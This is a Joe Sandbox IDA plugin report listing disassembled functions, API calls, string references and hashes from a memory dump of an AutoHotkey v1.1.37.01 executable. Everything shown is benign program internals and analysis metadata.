Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: OpenQueryValue
String ID:
API String ID: 4153817207-0
Opcode ID: ac7b69f31564c49ae3066a85039faa26c1027097124247fa0cc8fa72d22ba07a
Instruction ID: 10f8cc8de5ea8d871d1a7c63fee194d31aec333fd32772b961b744fa9cc65141
Opcode Fuzzy Hash: ac7b69f31564c49ae3066a85039faa26c1027097124247fa0cc8fa72d22ba07a
Instruction Fuzzy Hash: F7B1B3B12043029BD724DF69D8C5EBBB3E8EB98704F00892EF549D7250DB74DD458B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00438630 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 265COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00438679
_wcsncpy.LIBCMT ref: 004386E3
_wcschr.LIBCMT ref: 0043872A
_memmove.LIBCMT ref: 00438776
_wcschr.LIBCMT ref: 00438783

Strings

Out of memory., xrefs: 00438690
", xrefs: 00438749

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcschr$_malloc_memmove_wcsncpy
String ID: "$Out of memory.
API String ID: 278627150-1555670740
Opcode ID: 2a7be64baea612efc5026e0370838be237df44805ad369801105621e1c2273f9
Instruction ID: 29e8954e17d0373225af1b5c4e4cd10c76706f45c0aed13724dcdbe78cd93573
Opcode Fuzzy Hash: 2a7be64baea612efc5026e0370838be237df44805ad369801105621e1c2273f9
Instruction Fuzzy Hash: BE91B1B1E002159BDF24EF54CC81AAFB7B4EF48314F15406EE905A7341EB789E45CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00469329 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 218COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 004693A9
__wcsicoll.LIBCMT ref: 00469419

Strings

DropFiles, xrefs: 0046952F
Close, xrefs: 00469375
Size, xrefs: 0046944F
ContextMenu, xrefs: 004694BF
Escape, xrefs: 004693DF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Close$ContextMenu$DropFiles$Escape$Size
API String ID: 3832890014-3360012346
Opcode ID: bc50ccfc5e7fcf58a729ebb25d51cdc8ab5dfd9e566fd3f47c6dbd56c2ba6f05
Instruction ID: c5455d538713f770327abc346c9d9bf2a077c7085266911add73bc7505164ff6
Opcode Fuzzy Hash: bc50ccfc5e7fcf58a729ebb25d51cdc8ab5dfd9e566fd3f47c6dbd56c2ba6f05
Instruction Fuzzy Hash: EB71A332A04315ABCB309A25890176773A8EF84B54F09886FEC469B350F7B8DC45C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0046A31D Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0046A341
SelectObject.GDI32(00000000,?), ref: 0046A365
GetTextMetricsW.GDI32(00000000,?), ref: 0046A378
GetSystemMetrics.USER32(00000002), ref: 0046A398
GetDC.USER32(?), ref: 0046A3F6
SelectObject.GDI32(00000000,?), ref: 0046A419
GetSystemMetrics.USER32(00000005), ref: 0046A493
GetSystemMetrics.USER32(00000006), ref: 0046A49F

Strings

@, xrefs: 0046A42E
@,, xrefs: 0046A3DF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Metrics$System$ObjectSelect$Text
String ID: @$@,
API String ID: 3198775916-1203063547
Opcode ID: 852901c86cf68278bcf9f054401ac65db5713a98731305d162a4dd4ab5285344
Instruction ID: 3318a6a2c9b316b1f856e4670a85651de54aec165521894726323a207b7af0bc
Opcode Fuzzy Hash: 852901c86cf68278bcf9f054401ac65db5713a98731305d162a4dd4ab5285344
Instruction Fuzzy Hash: A961D3719087418FC324DF28C84976BBBE1BF85304F18491EE98A97391E7B89851CF8B

Uniqueness

Uniqueness Score: -1.00%

Function 0041B740 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041B774

Strings

MonitorWorkArea, xrefs: 0041B7B6
MonitorName, xrefs: 0041B7CE
MonitorPrimary, xrefs: 0041B786
MonitorCount, xrefs: 0041B76E
Monitor, xrefs: 0041B79E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Monitor$MonitorCount$MonitorName$MonitorPrimary$MonitorWorkArea
API String ID: 3832890014-629551668
Opcode ID: 80f7093c841948a1b175d9a642bdd45193ae37816271e6a79ac371f81aac3973
Instruction ID: d5e1272c07fe3006b95e2f1af2b4ec9e6785130d25038b1e73d7a272ad97ed6d
Opcode Fuzzy Hash: 80f7093c841948a1b175d9a642bdd45193ae37816271e6a79ac371f81aac3973
Instruction Fuzzy Hash: F1016259B41A1132EE3521395D03BDA60858B90B0BF94497AB914D93C5F78DDA44C0ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041C3E0 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C3F0
__wcsicoll.LIBCMT ref: 0041C408

Strings

Priority, xrefs: 0041C41A
Wait, xrefs: 0041C432
Exist, xrefs: 0041C3EA
Close, xrefs: 0041C402
WaitClose, xrefs: 0041C44A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Close$Exist$Priority$Wait$WaitClose
API String ID: 3832890014-1466124334
Opcode ID: 5c55dd9977b78e2a9ca51e9936c1f026fe200048652b979544d6d84ad93d0ee1
Instruction ID: 4de72bd59183f8f51b2dc933a3d72cc3654f8bc448ef428bc7e8ad7932b6eedc
Opcode Fuzzy Hash: 5c55dd9977b78e2a9ca51e9936c1f026fe200048652b979544d6d84ad93d0ee1
Instruction Fuzzy Hash: 21F09065A85A2121DF25252D5D53BEB20845B60F0BFD4457BF800D12C1F38EDE81C1BE

Uniqueness

Uniqueness Score: -1.00%

Function 0041D1A0 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041D1B0
__wcsicoll.LIBCMT ref: 0041D1C3

Strings

Pixel, xrefs: 0041D1AA
Caret, xrefs: 0041D1ED
ToolTip, xrefs: 0041D1D5
Menu, xrefs: 0041D205
Mouse, xrefs: 0041D1BD

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Caret$Menu$Mouse$Pixel$ToolTip
API String ID: 3832890014-3728172800
Opcode ID: fd6c63114c51b9ba34f944b147c4eb871e2159a8f250615d54ea9b34ce018740
Instruction ID: a15dd1b9b9830ed505e8634de6e726437304dea02b7d94128b73395eabfc1785
Opcode Fuzzy Hash: fd6c63114c51b9ba34f944b147c4eb871e2159a8f250615d54ea9b34ce018740
Instruction Fuzzy Hash: A9F017A9E4161122EE2A211D5E02BEB64885F21747F94447FBC0096281F79EDA85D1AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041B1A0 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 41COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041B1A6
__wcsicoll.LIBCMT ref: 0041B1BE

Strings

REG_MULTI_SZ, xrefs: 0041B1D0
REG_SZ, xrefs: 0041B1A0
REG_EXPAND_SZ, xrefs: 0041B1B8
REG_DWORD, xrefs: 0041B1E8
REG_BINARY, xrefs: 0041B200

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ
API String ID: 3832890014-2346799943
Opcode ID: 3e78642d8acf8ce7ecb664dbd9fabd0c13d4669dbd5056657034086c5d576348
Instruction ID: d3946fa960ef78e0a204cdde2f62aa48fef47191b1b8e175ac83ded8a15a87d6
Opcode Fuzzy Hash: 3e78642d8acf8ce7ecb664dbd9fabd0c13d4669dbd5056657034086c5d576348
Instruction Fuzzy Hash: 2CF01C59A81A1632DE0920395E03BCF64849B61B8BFD405BAFC14D43C2F78ECA54C1FE

Uniqueness

Uniqueness Score: -1.00%

Function 00477420 Relevance: 16.6, APIs: 11, Instructions: 146windowthreadCOMMON

Download Yara Rule

APIs

CheckMenuItem.USER32(00000000,0000FF19,?), ref: 0047747B
CheckMenuItem.USER32(00000000,0000FF1A,00000100), ref: 0047749B
GetCursorPos.USER32(?), ref: 004774B6
GetForegroundWindow.USER32(?,?,?,?,00445693,80000000,80000000), ref: 00477502
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00477517
SetForegroundWindow.USER32(0002044A), ref: 00477532
SetForegroundWindow.USER32(0002044A), ref: 00477559
TrackPopupMenuEx.USER32(00000000,00000000,?,?,0002044A,00000000,?,?,?,?,00445693,80000000,80000000), ref: 0047757E
PostMessageW.USER32(0002044A,00000000,00000000,00000000), ref: 004775A3
GetForegroundWindow.USER32(?,?,?,?,00445693,80000000,80000000), ref: 004775B3
SetForegroundWindow.USER32(00000000), ref: 004775C2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$Foreground$Menu$CheckItem$CursorMessagePopupPostProcessThreadTrack
String ID:
API String ID: 4142709844-0
Opcode ID: eed962cdb18f4441f7bd4cdedc245371aa97d258b845f29a16dccfa3a829c648
Instruction ID: 6691b06162de7a46d904467c113024ea020879c3dbdafd7ecec9b02f6626c8a0
Opcode Fuzzy Hash: eed962cdb18f4441f7bd4cdedc245371aa97d258b845f29a16dccfa3a829c648
Instruction Fuzzy Hash: 50511671654301ABD720EF24EC81BBA7BA0AB45704F44863BF949A7791D378AC448BED

Uniqueness

Uniqueness Score: -1.00%

Function 00448530 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 004485D0
_wcschr.LIBCMT ref: 004485E1
_wcsrchr.LIBCMT ref: 00448620
_wcsrchr.LIBCMT ref: 00448634
_wcschr.LIBCMT ref: 00448659
_wcsrchr.LIBCMT ref: 00448697
_wcsrchr.LIBCMT ref: 004486A8
_wcsrchr.LIBCMT ref: 00448736

Strings

://, xrefs: 004485B2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcsrchr$_wcschr
String ID: ://
API String ID: 2648016162-1869659232
Opcode ID: a80b8a16876ac66192cf3dac2d8b96d2bb992ab6ce74570da517a0fc32917bef
Instruction ID: 9f645e654967765eab9fb2194b5fcc88fce73a06e7c26e8e491f25b2c9cb55df
Opcode Fuzzy Hash: a80b8a16876ac66192cf3dac2d8b96d2bb992ab6ce74570da517a0fc32917bef
Instruction Fuzzy Hash: 61714731A403115BEB30AE148C42BAF73A5DB80755F05492EFD45AB381EFACED45879A

Uniqueness

Uniqueness Score: -1.00%

Function 00446000 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 0044607F
_wcsncpy.LIBCMT ref: 004460A6
_wcsncpy.LIBCMT ref: 004460CD

Strings

The maximum number of InputBoxes has been reached., xrefs: 00446037
AutoHotkey v1.1.37.01, xrefs: 0044606F, 00446079
The InputBox window could not be displayed., xrefs: 004462F2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcsncpy
String ID: AutoHotkey v1.1.37.01$The InputBox window could not be displayed.$The maximum number of InputBoxes has been reached.
API String ID: 1735881322-1416150321
Opcode ID: cc6785e0fe593b75fa64882d3bc6e65ba3c5c5ca2db854e94e6bbc2f43e0679d
Instruction ID: 24c5464e0b8b2676bd3b82f55efb01de924ad5d1b93625a8cd9471f9277c77f3
Opcode Fuzzy Hash: cc6785e0fe593b75fa64882d3bc6e65ba3c5c5ca2db854e94e6bbc2f43e0679d
Instruction Fuzzy Hash: F7817970604380ABE320EF14EC41BAB77E4FB46704F14497FE9858B295EB7A9805C79E

Uniqueness

Uniqueness Score: -1.00%

Function 0042754D Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 162COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00427584
__wcsicoll.LIBCMT ref: 0042759D

Strings

Float, xrefs: 0042757E
Integer, xrefs: 00427633
Fast, xrefs: 00427594, 00427649
Parameter #2 invalid., xrefs: 0042761A
Parameter #1 invalid., xrefs: 00427321

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll__wcsnicmp
String ID: Fast$Float$Integer$Parameter #1 invalid.$Parameter #2 invalid.
API String ID: 28402859-2639214213
Opcode ID: b72e62aa2592e3512aa05990c33610789e3ca5cdb8d7ed5b43b95686997d2127
Instruction ID: b876748a681c5d0ec0c40d26754318785c8a96c57af8143fab573977090a1c22
Opcode Fuzzy Hash: b72e62aa2592e3512aa05990c33610789e3ca5cdb8d7ed5b43b95686997d2127
Instruction Fuzzy Hash: FD5124347083509BEB20EB1AE8457A777D1AB81318F88486FE84587392D77EDC85C76A

Uniqueness

Uniqueness Score: -1.00%

Function 0045C180 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 130networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0045C1CE

Strings

OU@, xrefs: 0045C2BD
0.0.0.0, xrefs: 0045C237

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Startup
String ID: 0.0.0.0$OU@
API String ID: 724789610-30808738
Opcode ID: 0513f2d42c1c2ff81724a1c5d5dcdb284dab01ea96c6fd1f092c2688e9e3eb38
Instruction ID: 53d746e6a5f46c120fcc11010fda971408548fc268c01bea4df215fed3ec5b8c
Opcode Fuzzy Hash: 0513f2d42c1c2ff81724a1c5d5dcdb284dab01ea96c6fd1f092c2688e9e3eb38
Instruction Fuzzy Hash: 1C41AF75A043418FC720DF58D8857ABB7A8FF85715F04496AEC4AC7341EB78D808CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004690B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 101windowregistryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004690D5
LoadCursorW.USER32 ref: 00469121
RegisterClassExW.USER32(00000000), ref: 00469140
CreateWindowExW.USER32(?,AutoHotkeyGUI,02C40164,?,00000000,00000000,00000000,00000000,?,00000000,00400000,00000000), ref: 004691B1
SendMessageW.USER32(00000000,00000080,00000000,000B018F), ref: 004691F1
SendMessageW.USER32(?,00000080,00000001,0007044D), ref: 004691FF

Strings

AutoHotkeyGUI, xrefs: 004690FD, 004691AB
0, xrefs: 004690F5
RegClass, xrefs: 0046915C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$ClassCreateCursorLoadRegisterWindow_memset
String ID: 0$AutoHotkeyGUI$RegClass
API String ID: 937852688-2319214661
Opcode ID: 970f3dd5e4d1ffb96c88e49bafb497a1adfa6030b6578ec29b8dcf055a7cb787
Instruction ID: 107bb90762503ba579da4be20218167b4c656a2392895ccd380e5ba653ba64ab
Opcode Fuzzy Hash: 970f3dd5e4d1ffb96c88e49bafb497a1adfa6030b6578ec29b8dcf055a7cb787
Instruction Fuzzy Hash: 56315274A45301AFE320DF54DC49B577BE8BB84704F20492EF58997290E7B8B808CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00461590 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 95windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 004615EE
FormatMessageW.KERNEL32(00001200,00000000,?,00000000,?,00001000,00000000,004B0CF8), ref: 00461611
_vswprintf_s.LIBCMT ref: 00461656
SysFreeString.OLEAUT32(?), ref: 00461686
SysFreeString.OLEAUT32(00000000), ref: 0046168C
SysFreeString.OLEAUT32(?), ref: 00461692

Strings

0x%08X - , xrefs: 004615E8
No valid COM object!, xrefs: 004615DC
Source:%wsDescription:%wsHelpFile:%wsHelpContext:%d, xrefs: 0046164D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FreeString$FormatMessage__swprintf_vswprintf_s
String ID: Source:%wsDescription:%wsHelpFile:%wsHelpContext:%d$0x%08X - $No valid COM object!
API String ID: 380084984-3028990165
Opcode ID: 6bfd10bf37f325b25f4ecd42ffea40515b7e927b69f451191dc847ab580ceb39
Instruction ID: ad5d430ca7fe3a9954f1f11dc84a543af2ef8e8c4e5c14ce4c1036dea1ded98c
Opcode Fuzzy Hash: 6bfd10bf37f325b25f4ecd42ffea40515b7e927b69f451191dc847ab580ceb39
Instruction Fuzzy Hash: 6331FB75A003005BDB14EF69DC84F6777ACEFC4704F48847EA90697295E678D904C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041D360 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041D37B
__wcsicoll.LIBCMT ref: 0041D394

Strings

UTF-16, xrefs: 0041D3A7
UTF-8-RAW, xrefs: 0041D38E
UTF-16-RAW, xrefs: 0041D3C0
UTF-8, xrefs: 0041D375

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: UTF-16$UTF-16-RAW$UTF-8$UTF-8-RAW
API String ID: 3832890014-2787617770
Opcode ID: 7f9431599b7a0798196ad7723fce95dc4281cfc4a5e1af8735998d088537d5ca
Instruction ID: dbad965653c36215f019ce76df4695aaffef70768a14fbef120b4b557ddf5e53
Opcode Fuzzy Hash: 7f9431599b7a0798196ad7723fce95dc4281cfc4a5e1af8735998d088537d5ca
Instruction Fuzzy Hash: B10171A6E4562122EE31312E3D02BDB11890B1032AF1A453BFD08D5386F69EDDD280EE

Uniqueness

Uniqueness Score: -1.00%

Function 0046B2F6 Relevance: 15.1, APIs: 10, Instructions: 137windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000030,?,?), ref: 0046B326
GetDC.USER32(?), ref: 0046B34F
SelectObject.GDI32(00000000,?), ref: 0046B371
GetTextMetricsW.GDI32(00000000,?), ref: 0046B388
SendMessageW.USER32(?,00001033,00000000,00000000), ref: 0046B3A9
GetSystemMetrics.USER32(0000000C), ref: 0046B3FF
GetSystemMetrics.USER32(00000032), ref: 0046B42F
SendMessageW.USER32(?,00001033,00000000,00000000), ref: 0046B476
SendMessageW.USER32(?,00001040,?,000000FF), ref: 0046B4CD
MoveWindow.USER32(?,?,?,?,-00000004,00000001,?,00001040,?,000000FF), ref: 0046B4FB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$Metrics$System$MoveObjectSelectTextWindow
String ID:
API String ID: 591662205-0
